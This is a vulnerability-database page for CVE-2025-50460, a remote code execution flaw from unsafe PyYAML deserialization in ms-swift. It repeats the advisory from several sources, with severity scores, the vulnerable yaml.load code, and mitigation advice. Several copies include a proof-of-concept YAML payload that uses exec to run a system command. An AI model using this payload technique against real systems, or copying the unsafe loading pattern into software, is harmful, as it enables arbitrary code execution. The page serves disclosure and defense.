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CVE-2025-50460

MS SWIFT Remote Code Execution via unsafe PyYAML deserialization

9.8 CriticalPublic exploit

A remote code execution (RCE) vulnerability exists in the ms-swift project version 3.3.0 due to unsafe deserialization in tests/run.py using yaml.load() from the PyYAML library (versions = 5.3.1). If an attacker can control the content of the YAML configuration file passed to the --run_config parameter, arbitrary code can be executed during deserialization. This can lead to full system compromise. The vulnerability is triggered when a malicious YAML file is loaded, allowing the execution of arbitrary Python commands such as os.system(). It is recommended to upgrade PyYAML to version 5.4 or higher, and to use yaml.safe_load() to mitigate the issue.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

2.88%Up 2.5 points since Aug 2, 2025
90%50%10%1%

What each source reports

CVE List Score used 9.8

A remote code execution (RCE) vulnerability exists in the ms-swift project version 3.3.0 due to unsafe deserialization in tests/run.py using yaml.load() from the PyYAML library (versions = 5.3.1). If an attacker can control the content of the YAML configuration file passed to the --run_config parameter, arbitrary code can be executed during deserialization. This can lead to full system compromise. The vulnerability is triggered when a malicious YAML file is loaded, allowing the execution of arbitrary Python commands such as os.system(). It is recommended to upgrade PyYAML to version 5.4 or higher, and to use yaml.safe_load() to mitigate the issue.

Record
CVE-2025-50460
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-502
Updated
2026-11-02
EUVDEUVD-2025-23369 9.8

A remote code execution (RCE) vulnerability exists in the ms-swift project version 3.3.0 due to unsafe deserialization in tests/run.py using yaml.load() from the PyYAML library (versions = 5.3.1). If an attacker can control the content of the YAML configuration file passed to the --run_config parameter, arbitrary code can be executed during deserialization. This can lead to full system compromise. The vulnerability is triggered when a malicious YAML file is loaded, allowing the execution of arbitrary Python commands such as os.system(). It is recommended to upgrade PyYAML to version 5.4 or higher, and to use yaml.safe_load() to mitigate the issue.

Record
EUVD-2025-23369
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-fm6c-f59h-7mmg 2.3

MS SWIFT Remote Code Execution via unsafe PyYAML deserialization

Description

A Remote Code Execution (RCE) vulnerability exists in the modelscope/ms-swift project due to unsafe use of yaml.load() in combination with vulnerable versions of the PyYAML library (≤ 5.3.1). The issue resides in the tests/run.py script, where a user-supplied YAML configuration file is deserialized using yaml.load() with yaml.FullLoader.

If an attacker can control or replace the YAML configuration file provided to the --run_config argument, they may inject a malicious payload that results in arbitrary code execution.

Affected Repository

Vulnerable Code

if args.run_config is not None and Path(args.run_config).exists():
    with open(args.run_config, encoding='utf-8') as f:
        run_config = yaml.load(f, Loader=yaml.FullLoader)

Proof of Concept (PoC)

Step 1: Create malicious YAML file (exploit.yaml)

!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('mkdir HACKED')"

Step 2: Execute with vulnerable PyYAML (<= 5.3.1)

import yaml

with open("exploit.yaml", "r") as f:
    cfg = yaml.load(f, Loader=yaml.FullLoader)

This results in execution of os.system, proving code execution.

Mitigation

  • Replace yaml.load() with yaml.safe_load()
  • Upgrade PyYAML to version 5.4 or later

Example Fix:

# Before
yaml.load(f, Loader=yaml.FullLoader)

# After
yaml.safe_load(f)

Author

Record
GHSA-fm6c-f59h-7mmg
CVSS 4.0
2.3 LowCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-502
Updated
2026-11-02
NVD 9.8

A remote code execution (RCE) vulnerability exists in the ms-swift project version 3.3.0 due to unsafe deserialization in tests/run.py using yaml.load() from the PyYAML library (versions = 5.3.1). If an attacker can control the content of the YAML configuration file passed to the --run_config parameter, arbitrary code can be executed during deserialization. This can lead to full system compromise. The vulnerability is triggered when a malicious YAML file is loaded, allowing the execution of arbitrary Python commands such as os.system(). It is recommended to upgrade PyYAML to version 5.4 or higher, and to use yaml.safe_load() to mitigate the issue.

Record
CVE-2025-50460
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-502
Updated
2026-11-02
OSVGHSA-fm6c-f59h-7mmg 2.3

MS SWIFT Remote Code Execution via unsafe PyYAML deserialization

Description

A Remote Code Execution (RCE) vulnerability exists in the modelscope/ms-swift project due to unsafe use of yaml.load() in combination with vulnerable versions of the PyYAML library (≤ 5.3.1). The issue resides in the tests/run.py script, where a user-supplied YAML configuration file is deserialized using yaml.load() with yaml.FullLoader.

If an attacker can control or replace the YAML configuration file provided to the --run_config argument, they may inject a malicious payload that results in arbitrary code execution.

Affected Repository

Vulnerable Code

if args.run_config is not None and Path(args.run_config).exists():
    with open(args.run_config, encoding='utf-8') as f:
        run_config = yaml.load(f, Loader=yaml.FullLoader)

Proof of Concept (PoC)

Step 1: Create malicious YAML file (exploit.yaml)

!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('mkdir HACKED')"

Step 2: Execute with vulnerable PyYAML (<= 5.3.1)

import yaml

with open("exploit.yaml", "r") as f:
    cfg = yaml.load(f, Loader=yaml.FullLoader)

This results in execution of os.system, proving code execution.

Mitigation

  • Replace yaml.load() with yaml.safe_load()
  • Upgrade PyYAML to version 5.4 or later

Example Fix:

# Before
yaml.load(f, Loader=yaml.FullLoader)

# After
yaml.safe_load(f)

Author

Record
GHSA-fm6c-f59h-7mmg
CVSS 4.0
2.3 LowCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-502
Updated
2026-11-02
OSVPYSEC-2026-1683 2.3

MS SWIFT Remote Code Execution via unsafe PyYAML deserialization

Description

A Remote Code Execution (RCE) vulnerability exists in the modelscope/ms-swift project due to unsafe use of yaml.load() in combination with vulnerable versions of the PyYAML library (≤ 5.3.1). The issue resides in the tests/run.py script, where a user-supplied YAML configuration file is deserialized using yaml.load() with yaml.FullLoader.

If an attacker can control or replace the YAML configuration file provided to the --run_config argument, they may inject a malicious payload that results in arbitrary code execution.

Affected Repository

Vulnerable Code

if args.run_config is not None and Path(args.run_config).exists():
    with open(args.run_config, encoding='utf-8') as f:
        run_config = yaml.load(f, Loader=yaml.FullLoader)

Proof of Concept (PoC)

Step 1: Create malicious YAML file (exploit.yaml)

!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('mkdir HACKED')"

Step 2: Execute with vulnerable PyYAML (<= 5.3.1)

import yaml

with open("exploit.yaml", "r") as f:
    cfg = yaml.load(f, Loader=yaml.FullLoader)

This results in execution of os.system, proving code execution.

Mitigation

  • Replace yaml.load() with yaml.safe_load()
  • Upgrade PyYAML to version 5.4 or later

Example Fix:

# Before
yaml.load(f, Loader=yaml.FullLoader)

# After
yaml.safe_load(f)

Author

Record
PYSEC-2026-1683
CVSS 4.0
2.3 LowCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02

Affected packages

Affected packages
PackageAffectedFixed
ms-swift
PyPI
 through 3.6.3 None known
ms-swift
PyPI
 through 3.6.3, plus listed versions
1.0.01.1.01.2.01.2.11.3.0
Show 45 moreShow less
1.4.01.5.01.5.11.5.21.5.31.5.41.6.01.6.11.6.21.6.31.7.01.7.11.7.21.7.32.0.02.0.12.0.22.0.32.0.3.post12.0.42.0.52.0.5.post12.1.02.1.12.1.1.post12.1.1.post22.2.02.2.12.2.22.2.32.2.42.2.52.3.02.3.0.post12.3.12.3.22.3.2.post12.4.02.4.0.post12.4.12.4.22.4.2.post12.4.2.post22.5.0.post12.5.1
 None known

Public exploits

Links only. Every CVE stores no exploit code.

Public exploits
SourceLinkDate
PoC in GitHubAnchor0221/CVE-2025-504602025-07-30
PoC in GitHubferralon-demo/ms-swift-yaml-load-rce2026-10-07

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV, PoC in GitHub

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2025-50460 is a critical vulnerability (CVSS 9.8) in ms-swift, published July 31, 2025. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 2.88%, the 86th percentile. No source names a fixed version.

References

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